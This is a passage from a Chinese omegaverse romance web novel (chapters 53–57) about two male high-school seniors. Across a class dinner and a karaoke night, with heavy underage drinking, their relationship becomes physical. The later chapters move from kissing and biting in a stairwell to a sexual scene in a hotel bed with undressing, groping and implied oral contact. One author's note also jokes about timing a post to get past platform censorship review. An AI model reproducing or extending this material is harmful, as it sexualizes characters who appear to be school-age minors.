匙越侧着身体,黑色的带子一圈圈缠绕着被松绑,先是一根根手指,再到手背,慢条斯理,动作极致优雅。 解到一大半,一部分绑条弯曲地垂下来,隽云看着匙越将裸露出来的五根长手指转了转,似乎欣赏了一下,指节弯曲。 裸露在指套外的手指修长有力,在黑色的绑带和线条起伏背肌的衬托下,透着一点,淡淡的色情意味 医生说过的话再次出现在脑海中“早点终身标记”。 “” 隽云仓促地移开视线,只觉得自己最近脑子可能出了点问题,总是联想到这一方面。 他低下头心想,其实匙越的动作很正常吧。 匙越脱裤子的时候他就没看他了,手里扣着手机,看到裤子丢在地上,然后是皮带 每丟出一个东西闯入他视线的时候,都让他心神一颤,膝盖上的手指逐渐蜷缩。 那里不是有沙发能放衣服吗?隽云迟钝地想,干嘛要丢在他面前。 等匙越换好衣服之后,他站在他面前,声音磁性低哑:“好了。” “哦噢。” 终于好了,隽云松了一口气。 他耳朵有点红,低着头没看他,起身走到放衣服的铁柜前,就要轮到他换衣服了,背后传来灼热的视线让他只解了个扣子就忍不住把匙越推了出去。 “你出去。” 匙越笑了一声,还是出去了。 等隽云快速换好常服之后,和他一起回了大本营。 * 中午匙越学生会有事,没有和他们在一起吃饭。 下午在文化园大堂有讲座,先是这几天的总结性讲话,接下来是国内好几个知名军校大学的招生宣传。 讲座持续了一整个下午,两人再没交集。 今天是最后一天,讲座要结束的时候,群里发消息通知他们明天要返校,今天晚上有聚餐。 讲座结束了,众人稀稀拉拉地鼓掌,然后三五成群地从座位上起身,准备去吃饭。 文强打了个哈欠,伸着懒腰从椅子上起身,两手搭在隽云的肩膀上,小步蹦着推着隽云往前走。 柳元誉脸色很臭地经过,被文强叫住:“喂,柳圆圆,怎么样啊?今天进展如何?” 柳元誉毫不客气地回怼:“关你屁事。” “切,我这是关心你好吗,你也太不识好歹了,难怪五班那个女生不想理你。” “滚。” “你才滚。” “你滚。” “”在左右两边的争执声中,隽云忍不住扭头看了一眼不远处的匙越。 他坐在他后面几排的位置,外面穿着一件牛仔外套,里面的一件衣服有帽子,帽沿盖在头上,整个人藏在一抹黑暗当中,只能看到他锋利下颌和线条起伏优越的下半张侧脸。 匙越双手插兜,绕过挡路的柳元誉,走了。 一个下午都没有交集,也一句话都没有说过,甚至连对视也没有。 隽云抿了抿唇,走了没一会儿,兜里的手机振动了一下。 拿出手机,匙越发来的消息。 —sy1011:Q口Q! 隽云:“” * 坐电梯来了酒店餐厅里的包厢,老师们订了五个包厢,分别坐着五个班的学生,隽云先去上了个厕所,其余人先进去了。 等隽云擦着手,推开门,就看到一个穿着训练服的五大三粗的男人坐在中间位置。 那是带他们爬山、十公里拉练的教官,坐在学生中间,被学生们簇拥着要他讲战区的故事。 周围的灯光亮堂,隽云穿着白色的卫衣,卫衣很有版型,半身拉链型卫衣,领子立着,刚好卡在下巴的下面一点位置,显得他整个人都很白,下半身是校服裤,整个人干净整洁。 他推开门后站在门口,文强招呼他:“小云云,快过来!给你留了位置!” 隽云看过去,文强给他留的是他旁边的位置,左边是文强右边是陆思华,陆思华正抬眼看他。 班主任老棠招呼:“有位置,都别站着,坐下来。” 在班主任的催促下,隽云走过去,拉开椅子坐下,旁边陆思华递来一杯茶。 隽云接了:“谢谢。” 喝了一口,抬头才发现,匙越坐在他的对面,双手交叉抱胸,正好整以暇地看着他—— 作者有话说:要被狠狠惩罚了。 评论区发牵手[鼓掌][鼓掌]小红包。 第54章 第五十四章 “吃吗?” “” 隽云没什么表情地和他对视, 移开了视线,食指摸索着杯身。 头皮有点发麻。 一顿饭吃的食不知味,等到吃完后, 又组织一起去唱k。 酒店专门有唱歌的KTV包厢,于是二十五人浩浩荡荡挪步KTV, 由于是临时起意,没有点小吃和饮料,于是在一堆人进了包间后, 武佟拿着单子问大家: “大家有想吃的吗?想喝什么?今天我请客。” “班长万岁!!!” “班长大气啊!” “下辈子还跟你!!” 隽云跟着人群进了包厢, 包厢不是很大,就正对着唱歌的显示屏有两个沙发, 左右两边靠墙也各放了一个沙发。 人挤人坐着,他们见隽云来了,互相推搡着要给他让出中间座, 中间的李恩惠脸色难看地站起来,准备让出来位置,隽云神色淡淡,隔空手往下一压,制止了。 他挑了个拐角处的沙发坐着, 接过旁边递来的冰山纹杯子, 晃了晃里面的酒液。 围着班长的几个人说话非常大声,激动地说: “买酒买酒!!!” “我也要喝酒!” “今晚不醉不归!” 文强站起来抖擞着说:“我要喝最贵的酒。” 柳元誉冷笑:“我只喝红酒。” 另一个人制止他们:“夸张,等会喝醉了怎么办?” 李恩惠双手抱胸,神情倨傲:“喝醉了那就走回去啊,反正我们就住酒店,房间就在楼上,电梯往上按个几层的事。” 旁边的人附和:“有道理。” 生活委员范哲佳说:“这次难得班里的人都出来聚, 下次不一定什么时候能凑齐人呢。” 班长就说:“那我先点一箱啤的吧。” “那你点啤的我点白的他点红的。” 热热闹闹的,隽云好笑地抬头,就看到坐在包厢另一头的陆思华起身,他朝他这边过来了。 隽云一僵,其实自从上次陆思华和他说过考虑一下他的那句话之后,他们就很少再有交集了。 一方面他很难再像之前那样把他当成一个同龄的、关系很好的朋友来看待,另一方面,不知道为什么匙越不待见他,出于一种诡异的心情,他也不方便再和陆思华走的太近 毕竟, 他对象真的很能吃醋。 一丝丝甜甜又苦恼的想法涌上心头。 之前吃醋了直接抓住他的手十指相扣,磨他的手指,他到后面才反应过来,他是在吃陆思华的醋。 此时,陆思华正面色冷淡地朝他走来,问他旁边的人:“你方便和我换个座位吗?” “好啊。”那人就起身坐到陆思华的位置上去了。 陆思华坐在他旁边,包厢正中间一个女生拿着麦克风在唱歌,他们看着,陆思华问他:“最近怎么样?” 隽云晃晃杯子:“什么怎么样?” 包厢里吵吵闹闹,音乐也放的很大声,陆思华表情淡淡:“你和他没有未来的。” 隽云沉默几秒,他没有说话,其实他心里也清楚,他们两个人确实差距太大了。 他甚至都不知道要用什么理由来说服爸妈放弃和叶家联姻,让他和匙越在一起。 正巧这时门开了,匙越先走了进来,在他身后是闵术,低着头一副心事重重的样子。 KTV灯光昏暗,歌他们已经点上了,匙越站着环顾一圈找人,略过陆思华冷下来的脸,在陆思华身边找到了人,他视线一顿。 “诶,让让,让让!酒来了!!!” 后面鱼贯进来几个服务员,抬着一箱又一箱酒搬来了包厢里,最后进来的端着托盘,放着几瓶红酒,他们把瓶塞起开后倒进高脚杯里醒酒。 高档的白酒红酒排成排摆在桌子上,啤酒箱成箱地在液晶显示屏底下放着,班长招呼大家: “想喝什么自己来拿!” “这么多酒?先一人来一瓶啤酒!干了!今晚不醉不归!” 一呼百应,他们很少有这种纯粹的同学聚会,也很少有这种放纵的时刻,远隔家里和学校,许多人都想畅快一把,不知道谁先起的头,于是一群人就浩浩荡荡地上去干杯: “不醉不归!” “不醉不归!!!” “不醉不归!” 文强冲在第一个,抢了好几瓶出来,抱着酒瓶跑出来生怕别人和他抢,然后给了陆思华和隽云一瓶,又冲回人群。 站在人群中间,他把酒瓶用起子撬开,白色的泡沫混着黄色的酒液就霎时冲了出来,他高举: “高三一班万岁!!!!!” 一群人跟着他举酒瓶大喊: “高三一班!!” “万岁!!!” 隽云眼底有柔光,他也遥遥举起撬开瓶盖的啤酒瓶,和众人一起喊了一声,然后仰头喝了 酒过三巡,隽云脸上有红晕,他迷蒙着眼睛看着坐在对面匙越。 没有座位给他坐了,匙越就拉了个旋转板凳,坐在沙发旁边,一只腿踩在地上,一只腿曲着,脚抵在旋转长椅的底盘上。 他穿着一件牛仔外套,里面是一件黑色卫衣,手插兜里,卫衣有帽兜,戴着帽子,一双漆黑的眸子漫不经心地越过嘈杂的人群,看向他。 这个人 都不来找他。 隽云后知后觉,有点失落。 “我我查到他了”旁边的陆思华醉醺醺:“你不知道” 隽云转头看他:“什么?” “他就不是个好东西。” 隽云蒙蒙点头,声音润润糯糯,重复他的话:“他不是个好东西。” “他骗了你很多事,你都不知道!” 隽云迷茫,在说什么 桌上零零散散摆了好几罐空了的酒,杯子里是白色的洋酒,瓶装的是啤酒,还有不少人混着喝。 不少人找他们喝酒,高中三年过得很快,有些人同班了三年却没怎么和隽云说过话,此刻都借着酒劲来找隽云他们聊聊天了。 于是隽云照单全收,就这么一口接一口地喝了,坐在沙发上,旁边是喝多了变得喋喋不休的陆思华: “我背着你,去调查过他” 隽云的耳朵都有点模糊了,听力一下近一下远,文强鬼哭狼嚎的歌声听着让人心烦。 “我告诉你,他就不是一个好人!”陆思华说。 就在这时,再旁边隔着两个位置的柳元誉“噌”地站起来了,隽云仰着头看他:“你干什么?” 陆思华也眯着眼:“柳圆圆,坐下!” 柳元誉明显也是喝多了的状态,他喃喃道:“不行,我要去找她。” 说完他就磕磕绊绊踩过一堆人的鞋子,穿过拥挤的沙发和桌子的小道出去了。 李恩惠睡着了从梦中惊醒:“谁?谁踩我鞋子?谁在攻击我?是不是你,叶馨言!” 旁边的人把她的脸推回去:“你看我干什么,我又不是叶馨言。” “哦。”说完,李恩惠又头一仰,倒头睡在沙发上了。 文强还在边哭边唱:“死了——都要爱——” 隽云反应慢半拍地鼓掌:“唱的好唱的好” 就在这时,一瓶AD钙奶递到了自己面前。 顺着修长的手指往上看,是匙越,他戴着帽子,帽檐宽大,从侧面看不到他的脸,只能看到他锐利的下颌,以及滚动的喉结,还有递到眼前的补钙奶: “诺。” 隽云接了,冰凉的指尖擦过他的手指,下一秒被人捉住手,一个吸管就放到了他的手心里。 “” 隽云拿了吸管,狠狠地插进锡箔纸,喝了两口奶。 视线忍不住往旁边瞄去。 今天中午下午晚上,他们没有坐在一起过,甚至一句话都没有说过。 匙越坐在他旁边的沙发扶手上,手搭在他后面的沙发靠椅上,略微俯身,从隽云看过去的角度,能看到他轮廓线条清晰的侧脸,脚尖点地,表情似乎很认真地在看别人唱歌。 “” 不知道是不是因为发情期还没完全过去,又或者在这种悲情的背景音乐下 隽云感觉鼻子有点酸。 他下午和刚刚都不来找他。 他红着鼻头狠狠地喝AD钙奶,往旁边挪了点位置,试图远离他,不幸的是旁边的人是陆思华,他好像喝多了,一直在絮絮叨叨什么“谁都可以,不能是匙越,你会后悔的”“他不是一个好人”“你应该离他远一点” Alpha铁一样的悍不动位置,隽云:“” 这些Alpha都不是什么好人 算了,挤不动,算了。 隽云沉默又飞快地喝奶,嘴角浮现一丝奶沫,他喝完后把瓶子从上到下“咚”在桌面上,掼住了。 瓶身不稳,东倒西歪地又掉在地上,“咕噜咕噜”地滚到了匙越的脚下。 隽云目光微微一顿,往旁边扫了一眼,恰在这时旁边一只手伸过来捏住他的下巴,猛地把他的脸转过去了。 隽云愣了一下,缓缓抬眼和他对视,对视上的时候两个人的呼吸都变得滚烫。 匙越的拇指和食指卡在他的脸颊上,捏了捏。 仿佛暗示似的,隽云的视线滑落到他的嘴唇上,心跳快了一点,他缓缓凑近。 然而匙越捏着他下巴的手用了点力,制止了他靠近,他盯着他嘴角的白色浮沫看了一会儿,伸出手指把那点奶沫抹掉了。 隽云:“” 陆思华喝多了还在旁边絮絮叨叨:“你就记住了,哥哥告诉你,他就不是个什么好东西” 拇指指尖沾着奶沫,匙越在他唇上按了按,柔软潮湿的。 匙越的眸色幽深。 隽云懵懵地看着他,有一种直觉他要做什么了心跳加速,但是很快,匙越把他放开了,什么也没做。 “”隽云机械地转过头,看着桌子上没喝完的白酒,刚一动作要去拿,就被人抓住了手腕。 他试图往回抽,没抽出来,恼怒地转头去看,手里就被塞了一瓶饮料。 又是没喝过的饮料。 隽云有点喝多了,饮料包装上的字不大,重重叠叠的影子,看不清上面写了什么。 隽云拿近了,几乎抵着瓶子,认真地看着,指着字一个个读过去: “营——养——快——线” “……”读完,隽云转头看着他,双唇微张,好半天才说出一句话: “你是不是有毛病?” “不许喝酒。”匙越揉揉他的脑袋:“你的发情期才过没多久。” “。” 和他对视半响,隽云红着耳尖转头不看他了—— 作者有话说:有在好好养小云朵。 评论区发云朵小面包红包[眼镜] 第55章 第五十五章 “含着。” 隽云心想, 他也知道他的发情期才过去?一晚上了,他都不来找他,也不坐在他的旁边。 他还是很想闻闻他的信息素的。 隽云手里拿着那瓶营养快线, 没有喝它,等了一会儿, 听到旁边有窸窣的响声,他忍不住转头看去,就看到匙越又变戏法似地从兜里拿出了一颗棒棒糖。 修长的手指劲瘦有力, 青筋浮起, 然而只是在扒一颗糖纸。 彩色糖纸被撕扯开,匙越把它放在桌面上, 捏着棍子转了转,抵到他的嘴边,沾了沾他的唇角: “吃吗?” 有人偷偷拍下暗处的照片发到了“团结友爱, 互抱大腿”群聊里。 照片里一个高大的alpha坐在沙发扶手上,他戴着帽檐遮挡住了大半张脸,即便在昏黄灯光和高糊画质下依旧能看出来alpha身材比例很好,宽肩长腿,正俯身在给旁边一个好看的omega递糖果, 看起来正在哄人。 [我草了?] [十秒钟, 我要得到这个alpha的信息。] [旁边的omega不是我隽哥吗?] [隽哥怎么看上去有点醉了。] [这个献殷勤的alpha谁啊?献的明白吗?让我来!] 终于,发照片的人忍不住说了一句: [这是隽云,和匙越。] 群里顿时一片寂静。 [……] [谁?] [骗人的吧?] 好半天,顿时炸了似地,沸反盈天起来: [什么意思啊这是?] [所以,匙越和隽云的关系是??????] [不可能,别误会, 我们隽云是有对象的啊@叶馨言] [匙越不是和隽云关系不好吗?] [恕我直言?从开学就期待这场架很久了,现在还打的起来吗?] [加一] [加一,什么情况啊这是?] 发照片的那人又说:[隽云现在把他拽出去了。] 群里又是一片沸腾的: [我艹?] [什么情况?拽?] [这次真要打架吗?] [我说话难听我先遁了,但是直觉告诉我不是去打架的] [疯了吧?那可是社会招考生。] 隽云打开他的手,营养快线放在桌上,拽起他的衣领起身,冷冷地说:“你跟我过来。” 文强霸占着麦不让其他人唱歌,有人强行扒拉他的麦,他牢牢护住,扭着身体说:“你你你去抢原元的麦去!” 一转身,看到隽云眼尾绯红,很不爽地冷着脸,手上拽着另一个人的衣领,而那人比他高了一个头,此刻正配合着弯腰让他牵着走,看上去没有丝毫不爽。 文强目瞪口呆,一下就被人抢掉了怀里的麦 包厢内气氛沉闷,出了门之后顿时新鲜空气涌入肺部,隽云清醒了不少,拽着匙越衣领的手逐渐松了劲,开门后随便挑了个方向走了几步就很迷茫地停下来了 他要去哪来着? 身后传来一声叹息声,匙越抬手覆盖住他的手,抓着他免得他的手掉下来了,调整了一下姿势让他更舒服地拽着他,在他耳边提示说: “往前走有安全通道,那里没人。” 没人 隽云双唇微张,神色有些迷茫,他要带匙越去没人的地方吗? 去那里干什么? 他只是想把匙越拽出来透透气,顺便质问他为什么突然疏远他而已。 至于找个没人的地方? 似乎也有道理。 他嘴硬地说了句:“哦,行啊。” 重新拉着他,气势浩荡地往前走,途中瞄了多个开门的地方。 这里是餐厅、那里是厕所 那里好像是储物室 走着走着,到了一扇顶上贴着逃生安全通道的绿色牌子门前,隽云踌躇不定。 匙越的手从身后环上来,单手手臂托起他的腰把他拎起,另一只手推开门,把他放了进去,顺带着把门掩上了。 楼道里有点黑,隽云被放下来,脚尖点地,被人推到了墙角。 门没有掩严实,亮堂的光线透过门缝照进来投在地上显现出一道白色的光线。 墙面有点冰凉,被推靠过去的时候隽云还很不爽,总觉得匙越带他来这种地方是要来找他单挑的。 他下意识抬头看角落有没有监控,在看到亮着红点监控时,下一秒厚实温暖的手掌就盖了下来。 与此同时,唇上传来温热的触感。 隽云一愣,随即睫毛扫在他的手心里,像蝴蝶振翅,忍不住颤了颤。 匙越的呼吸洒在他的脸颊上,有点痒痒的,呼吸很热,唇上的动作起初还是温柔地,逐渐就变得激烈,一边厮磨一边咬着他的唇瓣。 因为被遮住了眼睛,他格外地敏感,感官都被放大了数十倍,被入侵的感觉太过强烈,来势汹汹的吻让隽云后知后觉有一丝不适和害怕。 长而卷翘的睫毛扑在他的手心上,往后退,后脚跟抵在墙面上。 没有路了。 早就被料到要逃,于是一开始就拎到了这个位置,让他退无可退了。 隽云想让他轻一点,舌尖忍不住抵着他让他出去,却被他勾缠着,反倒像是欲拒还迎了起来,被他捉弄着舌尖亲,每一寸齿尖都被舔过,每一处软肉都被他采颉,口腔内的淡淡酒味和奶味被舔吮吃掉,所到之处只留下alpha的信息素。 白兰地酒香味太浓了,隽云逐渐被他亲的头晕目眩,手忍不住攀上他的衣角,轻轻拽住: “唔轻唔轻” 匙越把他整个人完全笼盖住,回应他的只有“渍渍”水声,接吻的声音似乎格外大,甚至盖过了他心跳的鼓点,热气蒸腾而上,整个人仿佛踩在云端。 隽云的眼睛被捂住了,手腿都有点发软,被搅的唾液分泌,咽喉不自觉滚动,把他的信息素咽下去了,终于忍不住呼喊出声: “唔唔不不要唔唔” 卯足了力气,手终于微微抬起,抓住了匙越蒙着他眼睛的手,却因为没有更多的力气,整个人失掉平衡往下掉。 匙越一只手圈住他的腰把他往上托着让他站稳,唇舌从他的唇瓣一路往下,吻过他的下巴,再到纤细白嫩的脖颈。 隽云的胸膛不住地起伏,眼睛上盖着的手终于拿了下来,黑暗中湿润的眼睫忍不住颤抖,稍微睁开了一条缝,却看不清匙越此刻的表情。 黑色的帽檐抵在他的脖颈上,脑袋埋在他的侧颈吮吻,感受着流连在脖颈上的鲜明的触感,隽云整张脸都红了,手抵在他的肩膀上。 下一秒,匙越一口咬在了他的侧颈上。 “啊”隽云不设防地叫了一声。 匙越就又在咬痕上舔了舔,稍微离开了一点,指尖拂过那道牙印,上面闪着细弱光亮的水痕,因为一口气咬的深,呈现一种暗红色。 “下次再让我看到你和陆思华坐一起,看一次,咬一次。” 听到这话,隽云急促地喘气,反驳:“那你为什么不来找我?” 吃饭的时候也是,在KTV的时候也是,他都不坐到他的身边来。 “不是你上午说的吗,不想被人发现我们的关系。” 隽云闭了闭眼,他刚想说他什么时候说过了!? 结果顿时就想起来了,好像是上午分开的时候他和匙越强调说,让他以后不要当着那么多人的面和他牵手。 暂时不能被人发现他们俩的关系。 “我我那是说的牵手!不是不让你坐到我的旁边!”隽云咬牙切齿,满脸通红地说。 “原来是这个意思吗?”匙越的声音轻轻,洒在他的耳朵上:“我以为你不想我在大庭广众之下靠近你,你只想我做你的” “情人。” 这两个字更轻柔,咬着字,气音轻轻地附在他耳朵边只让他一个人听到,让这种偷情的感觉更加强烈了。 隽云的心跳更快了,他否认:“我没有。” “那你什么时候能让我名正言顺地牵着你?”匙越吻了吻他的耳朵,感受到他的震颤: “还是说你喜欢我当你的小三?” 小三 隽云头皮发麻,止不住地胸膛起伏:“我我会想办法的。” 实际上他又没有和叶馨言结婚,匙越怎么会是小三?光是想想他就忍不住呼出一口气,又开始腿软了。 是要想办法毁掉联姻,堂堂正正地和匙越在一起,不然匙越这样他根本招架不住。 “那我等你。”匙越搂着他的腰说。 隽云脸上的热意高居不退,脑子里一团乱麻一团浆糊无法思考,本能顺着问题去想解决的办法。 他和叶馨言的联姻是能退,但确实要找一个正当的理由才行 到底要怎么能让他爸妈接受家境贫寒、无父无母的匙越 还在想着想着,匙越的指尖抚过他的唇,那里已经因为接吻变得嫣红红肿 ,唇被按了一下,他下意识咬住了他的手指,叼着。 匙越轻轻晃了晃,说:“别咬。” 隽云还在苦恼地想着解决办法,听到这话,双唇微微张了一点。 指尖碰到了他的舌头,温热的唇弹软,唇舌潮湿温暖,匙越的眼神又暗了一点。 他拿出来,又把刚才的那颗糖递到他嘴边,哄着说:“含着。” 隽云就张口吃了。 甜甜的。 隽云怔然地看着他,匙越揉了揉他的头发,他的眼眸漆黑幽深,看着他,弯了弯眼睛,里面有某种炙热的情欲,他说: “明天要回学校了,今晚就不走了好不好?” 隽云含着棒棒糖,鬼使神差地,张了张口,含糊地说: “好。”—— 作者有话说:要被吃掉了。[眼镜] 评论区发棒棒糖小红包[眼镜] 第56章 第五十六章 “小云朵。” 被拽着来到他的房门前, 隽云的手有点抖,他拿出房卡,在感应区上“滴——”了一下, 然后推开门。 进了门后把灯开了,他进了屋子, 明明是他的房间,此刻却因为有第二个人的存在而有些局促。 他站在门口,歪斜地咬着一个棒棒糖, 一边腮帮子鼓起来。 房门被关上, 匙越走到他面前,抬起他的下巴。 嘴巴里塞着的糖被抽出来, 带着一丝银液,被另一个人吻上来,甜甜的糖味在二人的舌尖融化。 独属于匙越的信息素的味道再次释放出来, 很快整个房间都充盈着他的气味,舌尖微微发麻。 亲了一会儿,两个人都有些意乱情迷了,喘息着气,匙越抵着他的额头, 问他: “你是不是快要过生日了?” 隽云微微喘着气:“嗯, 十二月,还有三个星期。” “那确实快了。” 匙越的声音透着一种慵懒:“明天要回学校了,以后你还出的来吗?” 隽云如实说:“应该出不来了。” 他的监控手表虽然说是给别人戴了,但也仅限于上学的时间,保镖进不去学校,没办法跟踪他,而一旦出了校门, 他只能选择回家,保镖都会跟着他。 “今晚一起睡,好不好?” 匙越附在他耳边说着,隽云脑袋有点晕乎,听到这句话,感觉自己的酒劲都反上来了。 睡 好半响,他神色复杂地抬眼看匙越,长长的睫毛眨眨,匙越低着头看他,表情有点委屈: “以后放学都见不到你了。” 又来 隽云有气无力地说:“那好吧。” 匙越就顺势在他嘴巴上亲了一下 浴室的水龙头一直在淅淅淋淋地响,在一片氤氲中隽云浑身湿淋淋地,拿过毛巾把身上的水渍擦干后,他从挂钩上取下棉质睡衣,穿好出来。 在外面的洗漱台拿起牙刷,一边看着镜子里的自己一边认真刷牙。 镜子里的人头发乌黑面庞雪白,单眼皮,头发搭在眉眼上,看人的时候眼皮平直,显得非常冷漠。 他一点也不可爱,他不是一个可爱的omega。 隽云面无表情地心想,听说,那些alpha都喜欢冰淇淋味、奶油味、花果甜腻的味道,很好闻。 那匙越为什么会喜欢他的味道呢? 他到底是什么时候开始喜欢他的? 想着,想着,隽云耳朵一耷,俯身把泡沫吐掉。 推开门的时候匙越已经在床上了,隽云疑惑:“你怎么这么快?” 不是说好了洗漱完之后再来找他的吗? “你还挺快的。”隽云不过脑子地想,他这就洗好了。 快? 匙越微妙地挑了一下眉。 匙越一眨不眨地看着他,隽云反应过来,站在原地不动了,视线错开看向其他地方:“” 也是挺烦的,自从谈上之后他的脑子好像也不好使了,总是往其他不是很健康的地方拐。 两相沉默了一会儿,闻到了一点匙越信息素的味道,隽云开口顿时结巴: “门、房门关了吗?” 毕竟匙越出去的时候房门还是虚掩着的。 “关了。” 隽云有点紧张地拉了拉衣角,好像他马上要做什么了一样,紧张兮兮地问他:“那有人看到吗?” alpha留宿omega房间怎么看怎么奇怪吧? 就在隽云闷头想的时候匙越笑了一声,隽云有点心虚,那种诡异的偷情感又出来了。 匙越伸出一只手臂:“过来。” 隽云心说他才不过去,结果就不听使唤地迈步朝alpha信息素扩散地去了。 脱了鞋,莹白的脚踩在床上,柔软的鹅绒被就陷下去,他的手刚一搭在匙越的手上,匙越就一发力,就把他拽扑在了匙越身上。 “” 一双有力的手把他轻而易举转了个方向,等他反应过来的时候,他已经坐在了匙越两腿之间,背靠着匙越,匙越则两只手环绕在他的腰上,从后往前抱着他,在他身上吸了一口气,回应他刚才的问题: “没人看到,他们还在KTV唱歌。” 怎么还在唱。 匙越的呼吸声太近,几乎是贴着他的耳朵的,隽云的睫毛颤了一下,声音也有点紧绷: “现在都十点了,他们还没结束吗?” “嗯。” 匙越也刚洗完澡过来,他和他一样,皮肤散发着酒店沐浴露的香味,隽云的衣领不窄,被他拽的一侧肩膀的领口滑落下来,雪白的脖颈裸露,甚至还有刚洗完澡的雾气从细腻的皮肤上飘散而出,一点水珠沾在发尾上,匙越的指尖拂过他的脖颈,抹过去。 能感觉到怀里的人顿时僵硬了,耳朵迅速爬上一抹红。 隽云心跳有点快,他没有谈过恋爱,但是好像和男朋友在一张床上总觉得要发生什么一样。 听到自己问他:“你你今晚要做什么吗?” 他看着那抹红,笑了一声,气息拂在耳边,他告诉他:“我不做什么。” omega顿时放松下来。 之前医生说,要他们考虑尽早做终身标记,他还以为,匙越今晚就想 实际上他还没有做好准备。 太快了。隽云心想。 “你不在发情期,终身标记你会痛。”似乎知道他的疑惑,匙越说:“等下次发情期了,你愿意的话,我们再” “嗯嗯。”隽云连连点头。匙越还是很有规划有远见都,反正他们在一起的时间还很长,确实不急这一时。 那今晚就是纯纯在一起盖被子睡觉。隽云松了一口气。 匙越埋在他的脖颈上闻了闻,一只手搂着他的腰,另一只手在前面找住他的手,握住,和他十指相扣。 “你什么时候来易感期?”隽云想到这个问题。 一直都是他来发情期,但是他好像没看到他来过易感期。 匙越说:“没,我的腺体比较稳定,很少来易感期。” 印象里也只在十四五岁那年因为打架打的太凶了来过一两次。 后面可能因为身体确实不错,没再来过易感期。 隽云想起来之前在他家过夜的时候,他强迫匙越标记了他,那时他们本来要一刀两断了的,结果因为那个标记不得不再次纠缠,那时候隽云说出于平等,等他来易感期了也会给他咬两口。 现在想想,如果匙越不来易感期的话,那岂不是不用在易感期安抚他了? 那他赚了。 alpha大多重欲,才在一起几天已经被匙越按着亲了这么多次,隽云甚至都无法想象,如果真的遇到他的易感期来了,身为男朋友的他会被按着做什么了。 隽云的心情又轻快一点,身心轻快地靠着匙越,几乎都要哼着歌了,他拿起匙越的手,展开,然后自己的五指也展开了,窝在匙越的怀里比对着手掌。 匙越的手掌真的比他大好多,手掌掌心、指腹甚至指缝之间都有茧子,肤色比他黑一两度,他的手掌则相对来说小巧很多。 隽云之前只感受过他的茧子,但还是第一次仔细看,他的手握住他有茧子的手指,摩挲了一下,头也不回地问他: “你这里为什么会有茧子?” “干活干多了就长了。”匙越长话短说。 而隽云的手因为没干过一点活,皮肤羊脂玉般莹润漂亮,五指葱长,指尖泛红。 匙越散漫地想,他从小就帮妈妈干活,五六岁的时候就开始做饭洗衣服帮着分担家里的家务,十一岁妈妈去世后住在老师家里住了两年,白天在学校里总是有人来欺负他,把人揍得自己的手出血是常事,晚上回去了拿绑带绑手,然后开始读书念字,把老师不用的辅导书写了一遍又一遍。 等搬出老师家独自在外面生活的时候,白天上学,课间打架,偶尔翘课去打黑架赚钱,晚上去在便利店搬箱子、在酒吧后台打工,再长大一点,等到明叔找到他的时候,又教他用枪,自此东城区的那些人才服他。 笔棍枪都摸过一轮摸惯了,手上的茧子自然厚厚一层。 在这个温暖的房间里,隽云穿着白色的棉质睡衣在他面前,薄背薄腰温软,露出来的肩膀洁白无暇,黑发密密,有些凌乱地靠在他的怀里,身上散发着好闻的沐浴露香味,夹杂着他自己都无意识释放出来的omega香气。 他在玩他的手,翻来覆去地看,研究他还有哪里有茧。 匙越搂着他,轻轻地在他的发旋按了一个吻,像是羽毛落下,亲了亲这朵在温室里长大的单纯花朵。 隽云挠了挠他的手心,他突然想到一个问题:“你为什么喜欢我?” 他还没有问过他这个问题。 但是非常重要。 “想知道吗?” “嗯。” “我从很久很久以前,就喜欢你了。” 隽云忍不住心跳变快了一点,他和他表白的那天,他都没有听到这句话的,现在听到了。 隽云掰着他的手指,强压下去脸皮薄热:“哦,还有呢?” “还有就是,因为你很可爱。” 看着不好接近,实际上一碰就软软的,每次亲的非常害羞还要看着很冷淡地走了。 “我不跟没兴趣的男生接吻。”匙越说。 隽云一下没反应过来。 “所以,你时候同意那种方式给我信息素,是因为” 匙越叹了一口气:“我承认,第一晚是因为信息素导致的失控,所以才亲你的。” 隽云想起来,第一次见面他就把他标记了,只是他忘记那天晚上发生了什么,他以为只是咬了他的腺体,没想到也发生了亲吻行为。 耳尖泛上的红下不去了,隽云好半天才说:“那之后呢?” 也是趋于信息素的缘故,才会一次又一次打破正常的社交距离吗? “一开始是因为想要学生代表才答应的,但是我如果对你不感兴趣,我也有办法让你让出学生代表,而不是每天都来问你几点亲,你明白吗?” 匙越的下巴轻轻搭在他的肩膀上,搂着他的手收紧了,他扣住他的手指,五指挤入他的指尖,另一只手拉着他的手到唇边,亲了亲。 “小云朵。” 后知后觉的心动,像蝴蝶煽动翅膀在心里刮起一场飓风。 隽云的手瑟缩了一下,他的心跳非常快,匙越似乎也感受到了,亲他的手指往下,一路亲到他的手腕。 吻印上手腕内侧的时候,隽云微微侧头,看到匙越低垂着眉眼,鼻梁高挺,唇抵着他的腕线,呼吸有点热,洒在他的皮肤上。 他的眼睛生的很好看,双眸狭长,就这么一边带着诱惑地吻他的手腕,感受着隽云的脉搏跳动,一边抬眸,视线从下而上,扫了过来—— 作者有话说:开始going了 评论区发go不go in不in小红包[亲亲][亲亲] 怕明天被锁[可怜]明天晚上九点再更新吧,这个点大家能来看不[可怜]应该能撑过十分钟才会进审核 第57章 第五十七章 “睡吧。” 二人对上视线, 鬼使神差地,隽云的视线落到他的唇上,他的唇薄厚适中, 很好亲的 不知道是谁开始的,等隽云反应过来的时候, 他已经和匙越吻在了一起,唇瓣辗转着,信息素传递过来, 匙越滚烫且粗糙的手从宽松的衣摆下方探入, 握在了他韧细的腰肢上,还在往上 他难耐地喘气, 被触碰捏住的时候忍不住泄出一声声音,再次被含住嘴唇,舌尖发颤地被搅弄。 被搓揉着, 胸口到脖颈红了一大片,很快,眼前的视线倒转,上衣被丢在触手可及的地方,他被按在了床上, 凌乱的黑发铺泻在枕头上, 灯在眼前晃,他眼尾飘红,眯了眯眼说: “灯” “不关了,我想看看你。” 匙越吻着他的脖颈,落下一个又一个红印,盛开在雪白的肌肤上。 大片白皙的皮肤上透着红,隽云被他亲的迷迷糊糊, 偶尔颤抖着咬住下唇,泄出轻微的低吟,直到被含住的时候他甚至都来不及反应,就被拖进了新的一轮强烈感受中 隽云的眼睛湿漉漉的,就连睫毛都沾湿了,被欺负得无处躲藏,泪眼朦胧,簌簌扑眨着看着他,双唇红肿,上面还有刚才因为不想叫出声而咬出来的齿印。 房间内青涩的橄榄香和醇厚的白兰地葡萄酒味交融,回味柔和醇香,还带着点草木清香的甘甜,omega和alpha的信息素味道过于浓郁,互相缠绵在一起。 热度过载的脑袋有点转不动,隽云后,眼神略微有些涣散,脸颊绯红,好半天,喘着的胸膛才稍微平复一点。 